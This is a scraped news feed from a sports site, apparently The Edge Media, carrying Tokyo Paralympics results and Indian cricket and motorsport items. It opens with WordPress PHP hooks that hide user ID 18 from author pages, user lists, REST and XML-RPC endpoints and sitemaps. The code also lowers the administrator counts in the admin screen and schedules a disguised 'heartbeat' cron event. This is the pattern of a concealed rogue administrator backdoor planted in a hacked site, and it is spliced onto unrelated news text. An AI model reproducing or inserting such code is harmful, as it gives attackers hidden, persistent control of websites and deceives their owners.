add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ashwin in the squad, MS Dhoni to be the mentor appeared first on The Edge Media.
]]>Pacer Mohammed Shami too has been included in the squad while Ishan Kishan has been included as the second wicketkeeper in the squad.
In addition, Shreyas Iyer, Shardul Thakur and Deepak Chahar have been named as standby players.
Speaking in the press conference to announce the squad, BCCI secretary Jay Shah said Dhoni’s role as a mentor will be limited to the T20 World Cup.
“(I) spoke to him in Dubai. He agreed to be mentor for WT20 only and I discussed with my colleagues and all are on same page. I spoke to captain (Virat Kohli) and vice captain (Rohit Shamra) and everyone agreed,” he was quoted as saying by news agency PTI.
India have been placed in Group 2 of the Super 12 phase for the World Cup. Eight teams have already qualified to this phase, where they will be joined by four teams from the first round.
Here is the full India squad: Virat Kohli (captain), Rohit Sharma (vice-captain), KL Rahul, Suryakumar Yadav, Rishabh Pant (wicketkeeper), Ishan Kishan (wicketkeeper), Hardik Pandya, Ravindra Jadeja, Rahul Chahar, Ravichandran Ashwin, Axar Patel, Varun Chakravarthy, Jasprit Bumrah, Bhuvneshwar Kumar, Mohd Shami.
The post Ashwin in the squad, MS Dhoni to be the mentor appeared first on The Edge Media.
]]>The post The World Rally championship event in Japan cancelled due to pandemic appeared first on The Edge Media.
]]>It is the second successive year that organisers have had to cancel the Rally Japan which was due to appear last year for the first time since 2010.
Rally Japan was inked in as the 12th and final event of the championship calendar and the WRC said it would announce a replacement event shortly to conclude the season.
After eight rallies, Frenchman Sebastien Ogier (Toyota) leads the drivers’ standings, 38 points ahead of his British teammate Elfyn Evans and Belgian Thierry Neuville (Hyundai).
Among manufacturers, Toyota is 41 points ahead of Hyundai.
After the Acropolis Rally in Greece which runs this week from Thursday to Sunday, two other events remain on the calendar, in Finland (October 1-3) and Spain (October 14-17).
The post The World Rally championship event in Japan cancelled due to pandemic appeared first on The Edge Media.
]]>The post Fans lauds Shardul Thakur as “Lord” Shardul appeared first on The Edge Media.
]]>Shardul’s making a habit of bailing India out of tough situations with the bat in hand. He had notched a maiden Test half-century during the Gabba Test, and that knock proved crucial to India’s cause in the end.
So, it’s no surprise that fans have christened him “Lord” Shardul Thakur thanks to his batting heroics.
The post Fans lauds Shardul Thakur as “Lord” Shardul appeared first on The Edge Media.
]]>The post Manoj Sarkar wins bronze in the badminton men’s singles SL3 event appeared first on The Edge Media.
]]>In a match which lasted for 47 minutes, Sarkar managed to win the first game 22-20, in what was turning out to be a cagey encounter.
The Indian shuttler found his footing in the second game, crusing to a 21-13 win against his Japanese opponent.
Also, India’s Pramod Bhagat, who is also the reigning world champion, claimed a historic gold in this event, defeating Bethell in the summit clash.
The post Manoj Sarkar wins bronze in the badminton men’s singles SL3 event appeared first on The Edge Media.
]]>The post Manish Narwal wins gold in Mixed 50m Pistol SH1 appeared first on The Edge Media.
]]>19-year-old shooter Manish Narwal won gold in Mixed 50m Pistol SH1 event while Singhraj Adhana won silver.
This is India’s third gold at the ongoing Paralympics. Narwal shot a total of 218.2, a Paralympic record, to claim the yellow metal while Adhana, who had won the bronze in the P1 men’s 10m air pistol SH1 event on Tuesday, added a silver to his kitty with an effort of 216.7.
Russian Olympic Committee’s Sergey Malyshev took home the bronze with an effort of 196.8.
Prime Minister Narendra Modi took to Twitter to congratulate Narwal and Adhana and said glory from the ongoing games continues.
“Glory from the Tokyo Paralympics continues. Great accomplishment by the young and stupendously talented Manish Narwal. His winning the gold medal is a special moment for Indian sports. Congratulations to him. Best wishes for the coming times,” he tweeted.
“The outstanding Singhraj Adhana does it again! He wins yet another medal, this time in the Mixed 50m Pistol SH1 event. India rejoices due to his feat. Congrats to him. Wishing him the very best for the future endeavours,” the prime minister said in another tweet. PM Modi also called up Narwal and Adhana to congratulate them.
Earlier in the qualifying round, Adana progressed to the medal round in fourth place with a total of 536 while Narwal shot 533 to qualify at seventh at the Asaka Shooting Range.
The post Manish Narwal wins gold in Mixed 50m Pistol SH1 appeared first on The Edge Media.
]]>The post Kimi Raikkonen tests positive for Covid 19 appeared first on The Edge Media.
]]>The 2007 world champion, 41, who is retiring from Formula One at the end of the season, will be replaced in Zandvoort by Alfa Romeo’s reserve driver Robert Kubica. “Kimi is displaying no symptoms and is in good spirits. He has immediately entered isolation in his hotel. The team wishes Kimi a speedy recovery,” the Alfa Romeo team tweeted.
Polish driver Kubica, 36, won the Canadian Grand Prix in 2008 but his career was severely hampered following a crash during the Andorra Rally in 2011 in which his right forearm was partially severed.
“Robert has been reserve driver… since the start of the 2020 season and has driven the team’s C41 in three practice sessions this year,” Alfa Romeo said.
“With 97 Formula One starts to his name and experience with 2021 Formula One machinery, he will be ready for action and to give his best for the team.”
With Raikkonen needing a negative test before being allowed to return to the paddock, his participation in next weekend’s Italian Grand Prix at Monza is also in doubt.
The post Kimi Raikkonen tests positive for Covid 19 appeared first on The Edge Media.
]]>The post Avani Lekhara becomes the first Indian woman to win two medals at a single edition of the Paralympics appeared first on The Edge Media.
]]>During the 1984 Paralympics, Joginder Singh Sodhi had won multiple medals in the same edition of the Games when he clinched one silver and two bronze medals.
Avani had finished second, a point behind Sweden’s Anna Normann in the qualification. The Swedish shooter and Avani both had bettered the previous Qualification World Record with some exceptional shooting.
During the qualification round, Avani had struggled a bit in the Kneeling position but found her range in the Prone and Standing to climb up the ladder.
In the final, Avani once again was slow to get off the mark scoring a 9.8 and 9.7 in her first two shots. However, she found her mark soon and shot a 10.9 in her fourth shot.
Avani, though, found the going hard in the third series in Kneeling position, with only one shot out of 5 in the over 10-point mark. Her scores improved in the Prone position, shooting a 51.5, 51.4 and 51.0. But with others shooting a little better, the Indian found herself in seesawing between 5th and 6th place.
The post Avani Lekhara becomes the first Indian woman to win two medals at a single edition of the Paralympics appeared first on The Edge Media.
]]>The post Suyash Jadhav disqualified for violation of a rule appeared first on The Edge Media.
]]>The 27-year-old Jadhav, whose two hands were amputated below the elbow at the age of 11 due to electrocution, was found to have “performed more than one fly kick after the turn”.
The gold in this event was won by Serrano Zarate CD of Columbia with a personal best timing of 1:12.01s.
The silver and bronze were bagged by Egor Efrosinina of Russian Paralympic Committee (RPC) with a timing of 1:16.43s and Australia’s Blake Cochrane, who clocked 1:16.97s respectively.
Swimmers in S7 class have limited leg function or are missing a leg or parts of both legs, or have amputations and cerebral palsy.
SB stands for breaststroke. Jadhav had missed out on his first event — the 200m individual medley SM7 — on Friday as he was suffering from cold and sore throat. He will compete in the 50m butterfly S7 event on Friday.
The post Suyash Jadhav disqualified for violation of a rule appeared first on The Edge Media.
]]>The post Sumit Antil wins gold in men’s javelin (F64): Tokyo Paralympics appeared first on The Edge Media.
]]>Australia’s Michal Burian won the silver medal, with a best attempt of 66.29m, while Sri Lanka’s Dulan Kodithuwakku took home the bronze medal.
Antil lay down the marker with his very first throw, which put him in the lead and also broke the existing world record in the category – also set by him.
He then set the world record again with his second attempt of 68.08m.
His third and fourth attempts were 65.27 and 66.71 respectively, but he seemed to have already sealed the gold medal, with none of his competitors really threatening his position.
Then, in the fifth attempt, he threw 68.55m to create the world record for the third time in the day and ensure India’s second gold medal at the ongoing Tokyo Paralympics.
The post Sumit Antil wins gold in men’s javelin (F64): Tokyo Paralympics appeared first on The Edge Media.
]]>The post Avani Lekhara creates a new Paralympic record appeared first on The Edge Media.
]]>The 19-year-old from Jaipur, who sustained spinal cord injuries in a car accident in 2012, finished with a world record equalling total of 249.6, which is also a new Paralympic record.
She is only the fourth Indian athlete to win a Paralympics gold after swimmer Murlikant Petkar (1972), javelin thrower Devendra Jhajharia (2004 and 2016) and high jumper Mariyappan Thangavelu (2016).
“I can’t describe this feeling, I’m feeling like I’m on top of the world. It’s unexplainable,” an elated Lekhara said.
Hers is also the first shooting medal that India has logged in the showpiece.
“I’m so happy I could be the one to contribute it. Hopefully there’s a lot of medals more to come,” Lekhara said.
Lekhara edged out 2016 Rio Games gold-medallist Cuiping Zhangh of China who clinched the silver medal with a total of 248.9 at the Asaka Shooting Range.
World number one and reigning world champion Iryna Shchetnik of Ukraine took home the bronze with an effort of 227.5.
She will also be competing in the mixed 10m Air Rifle Prone SH1, the women’s 50m Rifle 3 Positions SH1 and the mixed 50m Rifle Prone event.
In the SH1 Rifle category, shooters are able to hold a gun with arms.
The athletes have an impairment in their legs, for example amputations or paraplegia.
Some athletes will compete in a seated position, while others will compete in a standing position.
The post Avani Lekhara creates a new Paralympic record appeared first on The Edge Media.
]]>